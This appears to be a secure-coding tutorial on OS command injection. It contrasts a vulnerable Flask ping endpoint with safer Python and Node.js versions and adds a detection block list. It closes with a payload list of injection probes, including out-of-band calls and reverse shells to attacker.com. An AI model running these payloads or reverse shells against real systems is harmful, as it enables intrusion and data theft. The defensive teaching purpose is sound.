# OS Command Injection

# Python/Flask - VULNERABLE CODE
from flask import Flask, request
import os

@app.route('/ping')
def ping():
    # Get IP address from user
    ip = request.args.get('ip')

    # DANGEROUS: Directly using user input in shell command!
    command = f'ping -c 4 {ip}'
    result = os.system(command)

    return f'Ping result: {result}'

User visits: /ping?ip=8.8.8.8
Server executes: ping -c 4 8.8.8.8
Result: Shows ping statistics ✓

Attacker visits: /ping?ip=8.8.8.8; cat /etc/passwd

Server executes:
1. ping -c 4 8.8.8.8
2. cat /etc/passwd  (shows user account file!)

Response includes system password file ✗

# VULNERABLE - Using shell commands
import os

def ping_host(ip):
    os.system(f'ping -c 4 {ip}')  # DANGEROUS!

# SECURE - Using library
import subprocess
import ipaddress

def ping_host(ip):
    # Validate IP first
    try:
        ipaddress.ip_address(ip)
    except ValueError:
        return "Invalid IP"

    # Use library instead of shell
    import ping3
    result = ping3.ping(ip)
    return f"Ping: {result}"

# Python - SECURE
import subprocess
import re

def ping_host(ip):
    # Whitelist: Only allow valid IP format
    if not re.match(r'^(\d{1,3}\.){3}\d{1,3}$', ip):
        raise ValueError("Invalid IP address")

    # Additional validation: Check each octet
    octets = ip.split('.')
    if not all(0 <= int(octet) <= 255 for octet in octets):
        raise ValueError("Invalid IP address")

    # Safe to use
    result = subprocess.run(
        ['ping', '-c', '4', ip],
        capture_output=True,
        text=True,
        timeout=10
    )
    return result.stdout

// Node.js - SECURE
const { execFile } = require('child_process');
const { promisify } = require('util');
const execFilePromise = promisify(execFile);

async function pingHost(hostname) {
    // Whitelist: Only alphanumeric, dots, hyphens
    if (!/^[a-zA-Z0-9.-]+$/.test(hostname)) {
        throw new Error('Invalid hostname');
    }

    // Additional checks
    if (hostname.length > 253) {
        throw new Error('Hostname too long');
    }

    try {
        const { stdout } = await execFilePromise('ping', ['-c', '4', hostname]);
        return stdout;
    } catch (error) {
        return `Ping failed: ${error.message}`;
    }
}

# DANGEROUS - Shell interprets special characters
import os
os.system(f'ping -c 4 {user_input}')  # Shell=True (implicit)

# SAFE - No shell interpretation
import subprocess

subprocess.run(
    ['ping', '-c', '4', user_input],  # Array of arguments
    shell=False,  # IMPORTANT: Don't use shell
    capture_output=True,
    timeout=10
)

# Python - Running as restricted user
import subprocess
import pwd
import os

def ping_as_nobody(ip):
    # Validate first
    if not is_valid_ip(ip):
        raise ValueError("Invalid IP")

    # Get nobody user
    nobody = pwd.getpwnam('nobody')

    # Run with minimal privileges
    result = subprocess.run(
        ['ping', '-c', '4', ip],
        user=nobody.pw_uid,
        group=nobody.pw_gid,
        capture_output=True,
        timeout=10
    )
    return result.stdout

# Run command in isolated container
import docker

def run_in_container(command):
    client = docker.from_env()

    # Run in ephemeral container
    container = client.containers.run(
        'alpine:latest',
        command=['sh', '-c', command],
        remove=True,  # Auto-remove after execution
        network_disabled=True,  # No network access
        mem_limit='128m',  # Memory limit
        cpu_quota=50000,  # CPU limit
        read_only=True,  # Read-only filesystem
        detach=False
    )
    return container

# Python - Command monitoring
import subprocess
import logging
import re

DANGEROUS_PATTERNS = [
    r';',
    r'&&',
    r'\|\|',
    r'\$\(',
    r'`',
    r'\/bin\/',
    r'bash',
    r'sh -c',
    r'curl',
    r'wget',
    r'nc',
    r'netcat'
]

def execute_with_monitoring(command, args):
    # Check for suspicious patterns
    full_command = ' '.join([command] + args)

    for pattern in DANGEROUS_PATTERNS:
        if re.search(pattern, full_command, re.IGNORECASE):
            logging.error(f"SECURITY: Suspicious command detected: {full_command}")
            # Alert security team
            send_security_alert(f"Command injection attempt: {full_command}")
            raise ValueError("Suspicious command detected")

    # Execute if safe
    result = subprocess.run(
        [command] + args,
        shell=False,
        capture_output=True,
        timeout=10
    )
    return result

# Basic tests
; whoami
; id
; pwd
; cat /etc/passwd
; ls -la

# Time-based
; sleep 10
; ping -c 10 127.0.0.1

# Out-of-band
; curl http://attacker.com
; wget http://attacker.com
; nslookup attacker.com

# Reverse shell
; bash -i >& /dev/tcp/attacker.com/4444 0>&1
; nc -e /bin/bash attacker.com 4444

& whoami
& dir
& type C:\Windows\win.ini
& timeout /t 10
& ping -n 10 127.0.0.1
& nslookup attacker.com